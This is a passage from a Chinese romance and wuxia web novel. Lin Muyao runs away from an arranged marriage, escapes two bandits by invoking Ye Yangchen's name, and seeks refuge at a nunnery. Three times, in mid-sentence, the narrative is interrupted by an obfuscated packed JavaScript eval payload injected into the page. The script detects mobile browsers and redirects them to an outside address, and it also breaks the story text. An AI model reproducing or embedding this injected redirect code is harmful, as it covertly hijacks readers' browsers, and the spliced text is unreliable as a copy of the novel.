沈芸长叹一口气,“你一直知道的,你爹从小最疼你了,自小你也是个乖孩子,为何如今却要执意忤逆你的父亲呢?娘过来找你,还是想劝劝你,如果不是非君不嫁的话,你就依着你爹的意思吧。” 大颗大颗的眼泪从慕瑶眼中落下,“娘,您就别逼我了。” 此刻,慕瑶满脑子都在回忆叶阳晨这些年追着自己付出的一幕幕,越想越觉得难过。如果不是自己曾经摇摆不定,如果不是自己总是顾虑重重,如果不是自己那么在乎父母的想法,如果不是自己没有看清的心,想必她早就和叶阳晨远走高飞了。可是这个世界没有如果,也没有后悔药,失去的东西也很难再回来。 沈芸露出愁容,不知该怎么劝女儿了,“那你先休息吧,其他的事明日娘再与你说。” 沈芸走后,洛洛安慰道:“小姐,早点睡吧,有任何事我们明天从长计议。” 林慕瑶浅浅点着头,淡淡说道:“嗯,你睡吧!我也困倦了。” 少时,林慕瑶已经能听见外间洛洛熟睡的声音,她又下了床,走到书案处点亮灯坐下,随之拿出纸笔写道:“父母大人在上,恕女儿不孝,往后不能再懽侍左右。父逼我嫁与非心仪之人,实难从命。为勿令众人难矣,吾决意出家为尼,终身不嫁。今以此书与尔等永别,日后女儿将遥祝父母身体康健。此后,双亲不必寻我,亦勿把儿悬念。不孝女林慕瑶敬上。” 简短的一封信写完了,林慕瑶轻轻把信折好,然后塞进信封里。她没有立刻放下笔,犹豫着要不要再给叶阳晨写一封,把想说的话说完。可林慕瑶发现自己根本不知该如何提笔,就连怎么称呼叶阳晨,对她来说都非常难。而且那么多年的感情,又怎能是一封信写得清楚的呢? 想来想去,慕瑶还是决定什么都不写了。想到只字片语都没有留给叶阳晨,她心中还是有止不住的遗憾,但是想来两人之间憾事太多了,也就不纠结这一件了。 环顾屋里的一切,此时慕瑶对这个家已没有任何眷恋和不舍。慕瑶是真的心灰意冷准备出家,所以她没有带走家中的任何东西,连随身衣服也只带了一套。只是慕瑶没舍得摘下戴在脖子上的“血影”狼牙吊坠,也没丢弃叶阳晨送她的可以缠在腰间的玉辰软剑,头上更是依然如珍似宝般地插着“汐澜簪”。 临出门前,慕瑶内心挣扎一番后,还是把书案上的孙子兵法放到包裹里。自从叶阳晨上了战场后,慕瑶便整日拿着兵书来看,除了画画外,任何闲书她再也没看过了。上阵杀敌的事慕瑶自知自己不擅长,但她又很想有朝一日能帮上自己丈夫一点小忙,想来想去她觉得学一学兵书上的内容,说不定将来可以帮自己的丈夫出点小主意。 到了此时,慕瑶都要去出家了,还带着叶阳晨送给她的东西走,也还放不下那本孙子兵法,就说明即使她已下定了决定,终究心底的有些东西是放不下的。 94. 第九十四章 此时天才蒙蒙亮,慕瑶想着这一走不知何年何月才能又有机会见到祖母,所以她还是想去跟祖母道个别。 老人家一般觉少,醒来得很早,慕瑶去了祖母的院子,敲门进屋时祖母已经醒了。 这时,丫鬟正要伺候老太天盥洗,慕瑶屏退了下人。她走过去坐在了祖母的床榻边,然后把头靠在祖母的怀里,像个小猫一般,轻轻地蹭了蹭。 老祖母逗笑着,“瑶儿怎么来得这么早?是有什么小秘密要与祖母说吗?还这么神神秘秘的?” 慕瑶还未开口说话,眼圈已经红了。 直到慕瑶哭起来身体跟着颤抖,老太太才发觉不对了。老人家捧起慕瑶的脸,见孙女已哭的梨花带雨。 祖母连忙安慰着:“哟哟哟,这是怎么了?怎么了啊?都快做新娘子了,怎么还哭了呢?是不是叶阳晨那臭小子欺负你,你把他领来,祖母替你收拾他。” 祖母的话还是记忆中的那么温暖,听到祖母那么疼爱自己,慕瑶眼底越发灼热。她也不想太让祖母担心,所以稳了稳情绪后说道:“祖母,是这样的,爹爹现在又不准我与叶阳晨成亲了,他要把我嫁给另外一个人。” 老太太突瞪惊目,“这是怎么回事?简直是胡闹,你爹让你嫁给谁了?” “就是卫伯伯家的大公子找到了,爹爹让我嫁给那个叫卫泽楠的。” 老太太一时有点混乱,不知该怎么安慰孙女。她虽然万般疼爱孙女,可冷静下来想想,自己儿子遵守之前的婚约也没有错,一时为难,老太天还真没想好该怎么办。 慕瑶继续喃喃说着:“现在父亲希望遵守当初承诺。” 老人家缓缓叹气,“瑶儿,那你准备怎么做呢?”老太太一生经历得太多太多,走过悲欢离合,尝遍人生百味,她已经隐隐猜到了孙女的心思,只是她还是要问一问的。 慕瑶自然不敢说自己去出家,那样祖母会担心死。她只能撒谎道:“祖母,事到如今,我也就只能跟叶阳晨偷偷逃走,所以今天孙女是来跟您告别的。” 听孙女这么说,老太太虽有心里准备,但仍情绪激动,“瑶儿,你这么做,可是会失了女孩家的名节的,你可要慎重啊!” 慕瑶当然明白祖母话里的意思,自己一个未出阁的大家闺秀,就这样没名没分的和一个男子私逃了,这在丰国的礼法里是极不检点的,将来也不会再有哪家的公子愿意娶这样的女子,就连媒人都不会再上门说亲的。 慕瑶心中怆然,她多么希望自己说的不是一个谎话,要是她真的会和叶阳晨私奔就好了。慕瑶勉力一笑,“祖母宽心,孙女想过,此生我是除了叶阳晨不会再嫁别人的,即使我守名节也是为他守的,所以我并不在乎别人怎么看我。” 老人家面色稍许担忧,“你这样为了叶阳晨不顾一切,他可会负你?” “不会的,我了解他的,他不会负我。”慕瑶很想对祖母说自己和叶阳晨是一起长大的,是最了解他的为人的,只是这话一说出口免不了又要解释一大堆,她也就什么都没说了。话一说完,慕瑶忽地怔了一怔,她不知自己与叶阳晨的事算是谁负了谁,或者不能这么说,只能说缘分不够深罢了。 老太太缓了缓情绪,面色慈和道:“瑶儿啊,你想好了就好,祖母本想去说服你爹爹,但是当年的婚约确实不容轻易更改,这一点祖母也爱莫能助。但你自己要是能有个主意,我也是替你高兴的。只是你这一走……” “祖母您误会了,等过段时间木已乘舟了,父亲的气也消了,我就带叶阳晨一起回来看你。”安慰的话可以说,但慕瑶每说一句,心里就会跟着疼一下。 祖母慈和一笑,“好!好!那就好了。”说着,她又把慕瑶搂在怀里。 良久,慕瑶才直起身离开奶奶的怀里,“祖母,那孙女就走了。” 老太太掩去不舍和难过,“快走吧。路上注意安全。” 慕瑶刚欲走,便霍然驻足转身,她站在祖母的榻前,扑通跪在地上,“祖母在上,请恕孙女不孝。”说完,她便不停磕着头。 老太太坐在床上用手虚扶,连忙说道:“瑶儿,快起来。” 慕瑶稳了稳情绪,这才慢慢站起身来。她朝着门口走去,可还是一步一回头。最后,慕瑶带着不舍推门而出。 离开祖母的院子,林慕瑶偷偷牵了匹马从角门出了林府。 天大亮后,沈芸起床便劝说林远峰:“老爷,既然女儿对叶阳晨那么死心塌地,你要不考虑一下?还是成全他们吧?有情人终成眷属也是美谈啊!而且我看小晨那孩子挺顺眼的,比卫泽楠强多了,女儿嫁给小晨应该更幸福。”沈云昨晚没有怎么睡,自己女儿那个倔脾气,她这个为娘的岂会不知,她真怕把女儿逼急了,慕瑶再做出傻事来,想来想去沈云还是想帮着女儿劝劝自己的丈夫。 林远峰驳斥,“那怎么行?定下的事怎可随意更改?”事实上,林远峰也觉得叶阳晨较卫泽楠更好,只是在他心里承诺大于个人好恶。 沈芸叹了口气,“唉,我是心疼女儿,难道你就不心疼吗?你这样可能会把女儿逼到绝路。慕瑶和诗怡不一样,诗怡呢,确是平日古灵精怪,但内心却很温柔。而慕瑶看似随和、温婉,但你应知她骨子里倔强得很。” 林远峰不以为然,“夫人,你是妇人之见,你不妨想想,就算我愿意成全慕瑶的心思,也会有其他问题。你也看见了,泽楠对慕瑶也是情有独钟。如果我处理不善,泽楠和阳晨两人恐会兄弟阋墙。” 沈芸转念一想,自觉林远峰的话也颇有几分道理,“那你今天至少好好跟女儿聊聊啊!” 洛洛迟迟没有来禀报林慕瑶的情况,林老爷和沈太太也没有多疑,他们还以为是昨晚折腾一夜,所以女儿早上起身迟了些。 洛洛之所以还没有醒,是因为昨夜林慕瑶离开时在屋里燃了安魂香,这种香无毒,但是可以让人多睡一个时辰。 记得小时候,林慕瑶刚到泽清山,陌生的环境令她每夜都不好入眠,叶阳晨就经常在晚上燃上一根安魂香助她入梦,后来他就把制香的方法教给了慕瑶。 林远峰起床梳洗后先去看了叶阳晨,他走到祠堂门口,见叶阳晨依旧背部挺直地跪在那里,昨夜的气已然消了许多。 林远峰咳嗽了一声,叶阳晨这才转过头来。一夜未合眼,他满眼血丝,“林伯伯……” 虽然叶阳晨对林慕瑶的感情令林远峰头疼,但叶阳晨毕竟是卫忠海的次子,又是状元郎,现在又屡立奇功,林远峰心中对他疼爱是比卫泽楠要多的。林远峰冷脸关心着:“这一夜累不累啊?” “还好,伯父。”叶阳晨乃习武之人,跪上一夜丝毫不会觉得疲倦。 林远峰稍稍板起脸,“跪了一夜,你想通了吗?” “侄儿想通了。” “说说看。” 叶阳晨的眼里多了几分坚定,“我还是决定不放弃慕瑶,还望伯父成全。” “你这是什么想通了啊?”林远峰心中的怒意再次升腾。 “林伯伯,你听侄儿解释,昨夜我想了许久,或许我舍弃所爱,割断情意是遵从了生身父母的遗愿,是顾忌你和伯母的感受,还周全了陈伯和卫泽楠的想法。我的退出似乎成全了所有人,但唯独会给慕瑶带来痛苦和伤害。试问,我不需要考虑慕瑶的感受吗?我想我现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13068989|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在悬崖勒马还来得及。伯父,我真的不能不在乎慕瑶的感受,更不能背弃誓言,更不能相负于她。” 林远峰暴怒,“住口,你反思了一个晚上,就想出这些话气我吗?还有,你什么时候和慕瑶山盟海誓了?我怎么不知道?” 叶阳晨这才反应过来林远峰并不知道自己和慕瑶那些年走过的路以及在彼此心中种下的感情,他正愁怎么解释,洛洛突然慌张地跑了进来,“不好了,不好了,老爷……” 林远峰眉毛一挑,“怎么了?” “小姐离家出走了!这是她留下的信。” 话音落下,叶阳晨与林远峰脸色惊变。 林远峰抢过信拆开来看,仅看了一眼,他的手便抖个不停。 叶阳晨攥紧拳头,手指关节处发出咔咔的声音,心痛难当。 很快,所有人都聚集在前厅,商量如何去找林慕瑶。 陈伯愁眉不展,他之前只以为叶阳晨对林慕瑶的感情深,现在才明白,原来林慕瑶也是情根深种了。陈伯心里犯愁,“如果是这样的话,又该如何做,才能让一切都圆满呢?” 卫泽楠就像热锅上的蚂蚁,上蹿下跳,“林伯伯,你还在等什么?快派人去找慕瑶啊!” 林远峰心急如焚,一时六神无主。 叶阳晨站起身来,“林伯伯,西关道周围有几座尼姑庵?” “东南西北都有的,而且距离也有远有近。”林远峰身为刺史,他对西关道周边的一切都很熟悉。 “那最近的是哪一个呢?” 林远峰急着说道:“北边和东边的要近一些,距离也差不多。北边,距此地40里外的揽翠山上有个水月庵。东边50里外的赤兰山上,有个玉林庵。” 叶阳晨斩钉截铁道:“好,林伯伯,我现在就去北边和东边去找。” “我和你一起去。” 叶阳晨劝说道:“林伯伯,你还是先在家等我吧,我们现在也不能确定慕瑶去了周边的哪一个尼姑庵,况且您已经上了年纪,所以你暂时不用跟我们一起奔波。等我找到了慕瑶我就捎信回来,到时如果我不能劝她回家的话你再去不迟。” 林远峰还想坚持,叶阳晨解释说:“林伯伯,慕瑶是个多么刚烈执拗的性子,我是知道的。这次的事因我而起,解铃还须系铃人,只有我能把她劝回来。如果你与我同去,我反而不好劝慕瑶。” 关键时刻,沈芸说了话,“老爷,你就先让小晨先去找吧,你马骑得不好,去了反而会拖了他们的后腿。” 叶阳晨刚要大步离开,叶清扬连忙跟上去,“哥,我跟你一起。”从小到大,只要有机会,叶清扬都会跟在哥哥身边的。除了跟在哥哥身后,叶清扬一直还是那个不善与人相处的万里独行侠。 林诗怡也很担心姐姐,一听叶清扬要去,更不会放过这个同去的机会。如果说叶清扬是叶阳晨的跟屁虫,那么林诗怡就是叶清扬的小尾巴。 诗怡对林远峰说:“父亲,我要陪着他们去找姐姐。” 一听林诗怡要去,林远峰微微皱眉,“他们是去办事,不是去玩,你跟着干什么?” 见林远峰不同意,林诗怡灵机一动找了个最好的借口,“爹爹,他们要去的地方可是尼姑庵,两个大男人去,有诸多不便,说不定都进不去庵门,带上我才是明智选择。” 叶阳晨觉得林诗怡想得很周到,先看向了林远峰,“林伯伯,诗怡的话也有道理,我觉得还是带上她为好。不过您放心,我会照顾好她的。”说完,他又瞥了诗怡一眼,“事不宜迟,那就一起吧!” 没等林远峰再反对,三人已出了前厅,一齐向府门外走去。 95. 第九十五章 卫泽楠其实也想跟着去看看,但是从小养尊处优的他,几乎不会骑马。卫泽楠心里清楚,叶阳晨三人去找慕瑶,肯定是赶急路,自己总不能提出坐轿子或坐马车吧。何况卫泽楠也心知肚明自己在林慕瑶心中并无什么分量,即使去了也劝不动什么。 叶阳晨等三人出了府,这次为了骑马赶路,他们甚至连一个兵卒都没有带。 林诗怡刚要上马,叶清扬说道:“诗怡,还是我骑马载你吧?你骑马的技术也很一般。” 林诗怡冲着叶清扬努了努鼻子,待叶清扬转身去牵马,诗怡的嘴角才露出了娇媚而又甜蜜的笑,她知道叶清扬也是怕自己一个人骑马太累。日子久了,林诗怡早已习惯了叶清扬闷闷的性格,也习惯了这个家伙会用他的方式默默地对自己好。虽然叶清扬对别人都冷冰冰的,但诗怡清楚“这块冰”对自己付出了最真的心。 林诗怡有时也会纳闷,自己为什么会喜欢上一块石头,可后来她想明白了,自己就是要做那个把顽石变成美玉的人。诗怡享受叶清扬独宠自己的感觉,更喜欢叶清扬在感情上“弱水三千只取一瓢饮”的专一。 三人策马而行,叶清扬紧紧搂着林诗怡。林诗怡含羞道:“你不要把我抱得那么用力,我都快喘不过气来了,而且说不定晨哥一会儿会笑话我的。” “哦,我忘记了。”说着,叶清扬的手臂微微松了松。 叶阳晨心里焦急,他就想快点找到慕瑶,根本没空注意诗怡和清扬在那儿“谈情说爱”。 与此同时,林慕瑶已快马疾驰走了二十余里。出门时走得急,她身上没有带半点干粮,这会儿是又渴又饿。 恰好路遇一条小溪,林慕瑶勒缰下马,想喝点溪水解解渴。溪水潺潺,静静细流,她用手捧着溪水喝了两口,心底沁凉。慕瑶正用丝帕轻轻擦着嘴角,这时忽然听到一个男人的下流声音,“呦,这位小女子,怎么一个人在这里啊?” 林慕瑶心里一颤,听这猥琐的声音,她就知道是遇到了歹人。慕瑶回过头望去,果然有两个贼眉鼠眼的人正冲着自己阴笑。她也不是第一次遇到这种淫贼了,已经见怪不怪了。 这两个人一个矮胖,一个瘦高。矮胖的那个人胡子拉碴的,看上去年龄大一些。瘦的倒是长得倒是有点秀气,后面还梳了一个小辫子。 林慕瑶神色没有一丝慌乱,她不想与这两个流氓废半句话,绕开欲走,两个色鬼色眯眯地拦在了她的面前。小辫子色鬼脸笑得像抽筋了似的,“小娘子,你这是要去哪儿啊?我们哥俩这么热情,你却要走,这可太没礼貌了。” 林慕瑶面色冷淡,语气霜寒,“我劝你们赶快滚开,否则我就对你不客气了。” 那个矮胖子挑逗道:“呦,还是个小辣椒,我喜欢。” 两个色贼步步紧逼,小辫子对矮胖子说:“哥,咱俩走南闯北那么多年,好像从来没有见过此等绝色佳人吧?今天我们哥俩的运气简直太好了,这样的美人竟被我们在这儿遇上了。”矮胖子色眯眯地笑着,认同地连连点头。 林慕瑶心知这两个色贼是不会放过自己的了,她当即拔出腰间的“玉辰”软剑,与两个色贼打了起来。慕瑶本以为这两人就是一般的坏人,可交起手来,她才发现这两个人的武功不是泛泛之辈,自己根本就不是他们的对手。 当初慕瑶跟叶阳晨学的那点武功,对付一般的毛贼是不成问题的,可遇到高手她还是打不过的。仅仅几个回合下来,林慕瑶已露败相。 武功用时方恨少,这会儿,林慕瑶真的很后悔当初没有好好跟着叶阳晨学武功,那样的话,至少遇到危险时她可以保护自己。从前她整日待在家中,还真不知道外面的坏人和恶人这么多,否则她一定多跟叶阳晨学两招。 慕瑶忆起,当时在泽清山时,叶阳晨逼自己学武功,自己就是不肯学,还找各种机会各种借口偷懒。就连现在仅会的一套剑法也是叶阳晨逼自己学的,是叶阳晨说学不会就不允许自己下山,慕瑶这才勉为其难学会的。 林慕瑶步步后退,已经被两个采花贼逼到绝境。她甚至想到了,如果今天不能避免被两个流氓轻薄了,她就只能一死了之保住清白了。在这个时候她很绝望,绝望之下就很思念叶阳晨。慕瑶甚至委屈地想:“如果她的心上人在这儿,一定狠狠地收拾面前的这两个混蛋,自己也就不会被欺负了。” 一想到叶阳晨,慕瑶连同想起叶阳晨曾经对自己说过,说日后自己在江湖上遇到危险可以报他的名字,肯定没有人敢欺负自己。当时慕瑶还半信半疑,翘着嘴唇说叶阳晨在吹牛,她不信偌大的江湖都听过叶阳晨的名号。叶阳晨只是看着慕瑶暖笑,他并不愿意多解释什么。在叶阳晨心里,慕瑶只要负责快乐就好,江湖上的血雨腥风他不想让她多知道。 慕瑶从未踏足过江湖,自然对江湖上的事知之甚少,她自然是小瞧叶阳晨了。在武林中,大多数人听到叶阳晨这个名字还是会不寒而栗,当然这不只因为他是叶阳天的儿子,楚宗唯一的徒弟,更因为他本身武功超群、年少有为。不过更多人只闻其名,真正见过他的人寥寥。 两个采花贼离慕瑶越来越近,慕瑶突然收剑,抱着试试的心思说道:“你们两个最好尽快收手,要是让我的夫君知道你们这样欺负我,你们恐再没有活着的可能。” 两个色贼全以为脸上依旧挂着轻浮的笑,他们异口同声问道:“你夫君是谁啊?” “他叫叶阳晨!” 一听到这个名字,两个流氓的脸色惊变,说话也不由得有些口吃,“哪个叶阳晨?” 慕瑶心里一喜,“果然这两个人是听过阳晨的名字的。”她转而笑道:“还能有哪个叶阳晨,当然是泽清山的叶阳晨,当然是那个身份耀眼,父亲和师父都很显赫的叶阳晨。” 话音一落,两个流氓皆一脸恐惧,流氓头结巴道:“就是…云侠楚宗的唯一爱徒?” “是的。”慕瑶回答得简单利落。 另一个色鬼接着问:“也是毒仙温孤的关门弟子?” “没错。”慕瑶说得同样干脆。 流氓头还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13090841|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是觉得难以置信,“还是智圣古野的得意门生?” 慕瑶语气变得越发坚定,“是他,都是他。” “那你是谁?”流氓哥哥问道。 “我是林慕瑶,是叶阳晨的发妻。” 话音一落,两个色贼的眼神更加惊慌。当年慕瑶与叶阳晨儿时的那场婚礼轰动武林,当初有点名气的武林中人都去参加了长风寨的这个喜事,即使没收到请帖的江湖人也听过林慕瑶的名字。 从贼人的话语和表情来看,慕瑶知道他们不仅听过叶阳晨,而且心里还有些畏惧叶阳晨的。 林慕瑶稍稍心安了些,“既然你们都听过我夫君的名字,有些话我想我就不必多说了,恕不奉陪。”她收起软剑,准备离开。 矮胖的色贼突然喊道:“等等,站住。” 慕瑶心里一沉,她猜事情又生变了。 矮胖的那个淫贼突然仰天大笑,那笑声瘆人。片刻后,他收敛笑容,重新横眉怒目瞪着林慕瑶,“死丫头,你骗谁?在江湖上,谁不知叶阳晨这个名字,我想这个名字也是你从哪儿听来的吧?你故意提叶阳晨的名字,就是扯虎皮拉大旗,想借机逃跑是吧?你还敢冒充叶阳晨的妻子,我还说我是叶阳晨的大舅子呢。” 小辫子贼人没头没脑地说:“哥,我也觉得你说的对,这小丫头怎么可能认识叶阳晨?我们差点就上了她的当了。” 见两个流氓又突然间不信了自己的话,慕瑶黛眉微微一蹙,“我说的都是真的,没有骗你们。” 贼头哥哥咧开大嘴一笑,“这空口白牙的,怎么说都行了,你说你认识叶阳晨,有证据吗?” 林慕瑶心急了,她绞尽脑汁想该怎么做才能让两个坏蛋相信自己的话。慕瑶第一时间想到的与叶阳晨有关的事物是玲珑印,这个印记如影随形伴她多年,是她脑海里最深刻也最容易想到的东西。自己胸前烙着叶阳晨的名字,这可以说是她与叶阳晨亲密关系的最有力的证明,而且色狼看见了绝对会相信,毕竟没有人可以提前做好这种假。可慕瑶知道,即使想到了这个也是没用的,她的身子除了叶阳晨是不会给任何人看的。 慕瑶只好绞尽脑汁地再想想其他东西,只是离家时走得急,并未随身带很多叶阳晨的东西。头上的汐澜簪自然是无法证明与叶阳晨有关的,玉辰软剑也不是叶阳晨平日里常用的兵器,想来想去,身上只有那个狼牙吊坠或许还能勉强算是叶阳晨的贴身之物。只是令她心里没底的是,那两个贼也许没听过叶阳晨救血狼的故事,可能也就不认识这个吊坠。 情急之下,林慕瑶也顾虑不了那么多了,只好试上一试,于是她快速用双手解下挂在脖子上吊坠“血影”。这个吊坠已经陪着慕瑶走过八年了,即使沐浴时她都不曾摘下来过,是她最贴身最有感情的东西了。 慕瑶把“血影”放在掌中,然后伸出手去,“你们认识这个是什么吗?这个东西就是叶阳晨给我的。” 血红色的狼牙晶莹剔透,在阳光映照下格外刺眼,矮胖色贼的脸色彻底变了模样。 96. 第九十六章 叶阳晨儿时救血狼的故事,传奇得那般不可思议,所以在武林里被传得有声有色,甚至被演绎成多个热血的版本。江湖中很多人都听说过,这个矮胖色贼恰好也听过。 年长的淫贼心里明白,什么东西都可以假冒,唯独这个狼牙吊坠是万万不可能轻易变出来的,因为血狼的狼牙与一般普通狼的牙是不一样的,可以说是十分罕见。淫贼已毫不怀疑,这个女孩就是叶阳晨的发妻,否则是绝不会随身戴有这个东西的。 本想给自己找找乐子,却一脚踢到了铁板上,此刻贼哥哥心里发毛,他只稍稍迟疑了片刻,便拉着弟弟扑通跪倒在地,“慕瑶小姐,今日我们兄弟两人瞎了狗眼,冲撞了姑娘,我们该死,真该死,请您高抬贵手,一定要饶了我们。还有,这件事您千万不要告诉叶阳晨啊,否则我们两兄弟都活不成了。” 慕瑶心里当然知道这个色贼说的是实情,如果让叶阳晨知道有人调戏自己,那人不是死就是伤,这种事情在叶阳晨那里是大忌,是他决不能容忍的。其实就算这个贼人不叮嘱自己,慕瑶也不会去与叶阳晨说的。慕瑶性格温和柔顺,人家既然已经认错了,她觉得多一事不如少一事。 另一个贼人不明所以,于是慌张问道:“哥,你这是怎么了?这不过就是个狼牙吊坠,你干嘛怕成这样?”弟弟在江湖的阅历少一些,他并不知道叶阳晨勇救血狼的故事。 贼头目拽了拽他弟弟的衣角,低声道:“别说别的了,快认错。”弟弟特别听哥哥的话,也便跟着认错。 贼哥哥低声凑到弟弟的耳边,“据传说,叶阳晨七岁那年时候就杀了一匹灰狼,救下了血狼崽。由于当时他年龄太小,所以武林人士聊起他的这个经历都用传奇来形容。” 听哥哥这么一说,弟弟才恍然大悟。 今天之前,林慕瑶从未知晓她的心上人在武林上竟是如此威名赫赫。她终于相信,原来当初叶阳晨对自己说的话并不是在夸口,原来真的可以只提叶阳晨的名字就可以吓退歹人,保护自己,但前提是要让坏人相信自己与叶阳晨是有密切关系的。慕瑶这才有些明白叶阳晨为何会把狼牙吊坠送给自己。 想到这里,林慕瑶又突然有点想念叶阳晨,她不想去想这个人,可偏偏遇到危险时又会不由自主地想起他,但这份思念深了,慕瑶又有点生叶阳晨的气,好像自己怎么都离不开这个人似的。 两个贼人一直在那儿磕头认错,头几乎要磕出血来。 林慕瑶并非得理不饶人的性格,温和道:“你们都起来吧,只是日后不要再做恶事。不是我吓你们,今天若是叶阳晨在这里,见你们两人起歹心要轻薄于我,你们肯定不能活命了。”说着说着林慕瑶又陷入到回忆中,从前只要自己受了半点委屈,叶阳晨都不会放过那个欺负自己的人,即使自己求情放过那个人都是不行的。 两个贼都不敢站起来,年长的贼吓出冷汗来,惶恐道:“我们兄弟知道了,日后绝不会再做坏事,只要小姐饶过我们这次,我们兄弟下半生甘为牛马报答您。” 林慕瑶微微点头,“好了,你们不必再害怕了,我答应你们,今日的事我不会告诉叶阳晨。不过我也不需你们做牛马,你们可以离开了,日后多行善事,不可再见色起意欺负女孩子。” 两个色贼连连点头答应,但仍跪在那里不敢动弹分毫。 林慕瑶抬腿刚要走,色贼哥哥再次壮着胆子说道:“姑娘,请留步。” 林慕瑶转过身,“还有什么事吗?” 年长的色贼自我介绍道:“姑娘,我叫王猛,这是我的亲弟弟王龙。我想问姑娘是否可以带我们一起走,我们久闻叶阳晨的大名,希望与他结识,不知有没有这个缘分?” 慕瑶面露难色,连她自己都不知今生还有没有机会再见叶阳晨了,“真是不巧,我这会儿还有要事去办,可能暂时还见不到叶阳晨的,所以你们即使跟着我,也是见不到他人的。不过我答应你们,只要有机会我会介绍你们与叶阳晨认识的。”说完,林慕瑶朝着她的马走去。 王猛这才站起身,向前追了两步,“嫂子,你去哪儿?用不用我们兄弟送你一程?哦,你别误会,我们是想保护你的安全。”王猛的年龄比林慕瑶大上好多岁,但是出于恭敬,他还是叫了声“嫂子”。 林慕瑶轻摇着头,“不必了,你们还是忙你们自己的事去吧。” “我们还是送你吧?”王猛坚持说道。 无论林慕瑶怎么劝说,王猛和王龙还是怕慕瑶一个人路上遇到坏人,坚持要送她一程。 林慕瑶见推不掉,也只有答应他们了。她也是怕再遇到江湖高手,有他们两个人在,多少要安全点。慕瑶想着:“这次碰巧这两兄弟听过叶阳晨的大名,如果碰上的歹人不知道叶阳晨威名的,自己就危险了。” 三人就这样一同上路了。 林慕瑶的马术是叶阳晨亲自教的,自然不让须眉。王猛和王龙骑马跟在后面,也是赞叹不已。 三人一路马不停蹄来到了赤兰山脚下,林慕瑶转身看着王猛和王龙,“谢谢你们俩兄弟了,我到了,我们日后再见。”说完,慕瑶便上山了。 望着慕瑶的背影,王猛很想问林慕瑶上山做什么,需不需要帮助,但又不好多嘴。不过,赶了大半天路,两兄弟也累了,便在山脚下的农家客栈住下。自在惯了的两人,在客栈大碗吃酒,大口吃肉,好不快活。 林慕瑶上了赤兰山,山脚下的路青云直上。走上十几里山路后,她来到山腰处的一块宽敞的平地。此处有一眼清泉,泉水流出来形成了天然的小池子,山里人口口相传唤这里为“伤情池”。 池子上方的石壁上还刻着两句话:“怨侣今生修苦果,才知彼时应薄情。”慕瑶看到这样的话不禁失笑,原来前人早就看透了“情”之一字,而她的感情经历那么多波折后,她才真的明白了一点。不过虽然现在痛苦着,但她仍希望做个多情的人,至少有过刻骨铭心的感情,将来下了地府也不觉得遗憾。 此时天已经黑了,慕瑶只好找了附近的山洞休息一夜明日再上山。 翌日一早,慕瑶继续赶路。 山路在此处岔分成两条,左侧是通往叶归寺的路,而选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108520|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 择走右边,行至尽头,就是玉林庵,林慕瑶当然是走右侧。 林慕瑶到达玉林庵的时候,天色已沉。玉林庵里的女尼以为林慕瑶是来借宿的,也就好心收留了她。林慕瑶稍作休息后,便提出要见庵里的主持静心师太。 静心师太在这里修行许多年了,早已不轻易见俗世中人。林慕瑶再三坚持,庵里的尼姑才帮着她通传。 慕瑶走进了静心师太的禅房,禅房里的榻上,静心师太正在眯眼打坐。虽然师太已是出家之人,也早已过了芳华年纪,但是慕瑶看她脸上的身材,仍能猜出她年轻时应是个风姿卓然的女子。只是慕瑶不知道这样的一个女子,又是经历怎样的机缘才断情绝爱来到此地出家。 慕瑶不敢出声打扰,隔了片刻,静心才睁开眼睛,语声缓缓问道:“这位施主执意要见我,不知所为何事?” 林慕瑶躬身施礼,虔诚说道:“师太善心,还请收留我在庵中。” 静心师太定睛看了林慕瑶一眼,然后手里继续拈着念珠,“施主与我佛无缘,此事不能强求。” 林慕瑶有些心酸委屈,走了这么远,难道还割不断和叶阳晨的感情吗?慕瑶努力下定决心,坚持道:“师太怎知我与佛无缘呢?我已决意剃度,了却尘缘,诚望师太成全。” 师太闻言后依旧一脸平静慈祥,“万发缘生,皆系缘分,看似偶然,皆是天定。贫尼不会看错,施主情根深种,入骨三分,恐难离过往。” 林慕瑶泪水盈眶,“有情无缘,有缘无份,到头来空留叹息,还是早日割断的好。” 师太叹了口气,无奈道:“罢了,你先去吧!先在庵里住下,从明日起带发修行,法号依兰。佛纳众生,不会拒任何人于门外,如日后施主执意斩断青丝,贫尼不会再阻止。” 林慕瑶行过谢礼后走出了师太的禅房,然后回到自己的屋子,晚些时候,一个中年女尼给林慕瑶送来一件缁衣。 山里的夜格外宁静,林慕瑶躺在床上,望着窗外如水的月光,心中泛出阵阵孤独凄凉感,她忍不住去想叶阳晨有没有到处找自己。可想到此处,慕瑶又觉得自己很没出息,然后反复告诉自己走到现在已没有退路,不可再反复,不可再意志不坚。 